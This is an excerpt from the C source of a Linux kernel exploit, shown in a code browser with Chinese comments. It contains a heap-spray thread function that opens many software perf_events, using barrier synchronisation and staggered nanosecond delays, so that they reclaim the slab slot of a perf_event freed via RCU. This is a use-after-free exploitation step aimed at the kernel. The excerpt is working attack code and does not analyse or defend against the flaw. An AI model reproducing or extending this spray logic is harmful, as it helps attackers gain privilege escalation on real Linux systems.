[2-1] 单个 Spray 线程: 分配一个软件类型的 perf_event (事件 B) 目的: 用新的 perf_event 占据被 RCU 释放的事件 A 的 slab slot Phase A (前 128 个): WARNING gate 打开后立即分配 Phase B (剩余): 错开延迟分配 (步进 500ns × 64 steps),增加命中概率
| 1762 | // Phase A (前 128 个): WARNING gate 打开后立即分配 |
| 1763 | // Phase B (剩余): 错开延迟分配 (步进 500ns × 64 steps),增加命中概率 |
| 1764 | void *single_spray_thread(void *arg) |
| 1765 | { |
| 1766 | struct spray_thread_arg *targ = (struct spray_thread_arg *)arg; |
| 1767 | int idx = targ->index; |
| 1768 | |
| 1769 | bind_to_cpu(0); |
| 1770 | |
| 1771 | // 使用软件类型 PERF_COUNT_SW_CPU_CLOCK,同样分配自 perf_event_cache slab |
| 1772 | struct perf_event_attr spray_attr; |
| 1773 | memset(&spray_attr, 0, sizeof(spray_attr)); |
| 1774 | spray_attr.type = PERF_TYPE_SOFTWARE; |
| 1775 | spray_attr.size = sizeof(struct perf_event_attr); |
| 1776 | spray_attr.config = PERF_COUNT_SW_CPU_CLOCK; |
| 1777 | spray_attr.disabled = 1; |
| 1778 | spray_attr.exclude_kernel = 1; |
| 1779 | |
| 1780 | // [2-1-1] 等待 Sprayer 主线程的 barrier 释放信号 |
| 1781 | pthread_barrier_wait(targ->start_barrier); |
| 1782 | // gate <= 0 说明 WARNING 未命中,退出 |
| 1783 | if (__atomic_load_n(&tp_spray_gate, __ATOMIC_ACQUIRE) <= 0 || stop_threads || exit_threads) |
| 1784 | return NULL; |
| 1785 | |
| 1786 | // [2-1-2] Phase B: 延迟错开分配时间 // 分配后128个perf_event时错开时间分配 |
| 1787 | if (idx >= TP_SPRAY_PHASEA_COUNT) { |
| 1788 | uint64_t delay_ns = (uint64_t)TP_SPRAY_PHASEB_BASE_DELAY_NS; |
| 1789 | |
| 1790 | if (TP_SPRAY_PHASEB_STEPS > 0 && TP_SPRAY_PHASEB_STEP_NS > 0) { |
| 1791 | int lane = (idx - TP_SPRAY_PHASEA_COUNT) % TP_SPRAY_PHASEB_STEPS; |
| 1792 | |
| 1793 | delay_ns += (uint64_t)lane * (uint64_t)TP_SPRAY_PHASEB_STEP_NS; |
| 1794 | } |
| 1795 | |
| 1796 | tp_spin_delay_ns(delay_ns); |
| 1797 | } |
| 1798 | |
| 1799 | // [2-1-3] 分配事件 B: 可能占据事件 A 的释放 slot |
| 1800 | spray_b_fds[idx] = perf_event_open(&spray_attr, 0, -1, -1, 0); |
| 1801 | if (spray_b_fds[idx] >= 0) { |
| 1802 | uint64_t now_ns = get_time_ns(); |
| 1803 | uint64_t expect = 0; |
| 1804 | |
| 1805 | // 记录首个分配事件的时间戳和索引 (用于性能统计) |
| 1806 | if (__atomic_compare_exchange_n(&tp_first_spray_alloc_ns, &expect, now_ns, 0, |
| 1807 | __ATOMIC_ACQ_REL, __ATOMIC_ACQUIRE)) |
| 1808 | __atomic_store_n(&tp_first_spray_alloc_idx, idx, __ATOMIC_RELEASE); |
| 1809 | } |
| 1810 | __atomic_fetch_add(&tp_spray_open_done, 1, __ATOMIC_ACQ_REL); |
| 1811 | |
| 1812 | // 保持线程存活直到 exploit 完成 |
| 1813 | while (!exit_threads) { |
| 1814 | sleep(1); |
| 1815 | } |
| 1816 | |
| 1817 | return NULL; |
| 1818 | } |
| 1819 | |
| 1820 | // [2] T4 Sprayer 线程 (CPU 1): 堆喷 orchestrator |
| 1821 | // 预创建 SPRAY_B_COUNT 个线程,等待 WARNING gate 打开后同步释放, |
nothing calls this directly
no test coverage detected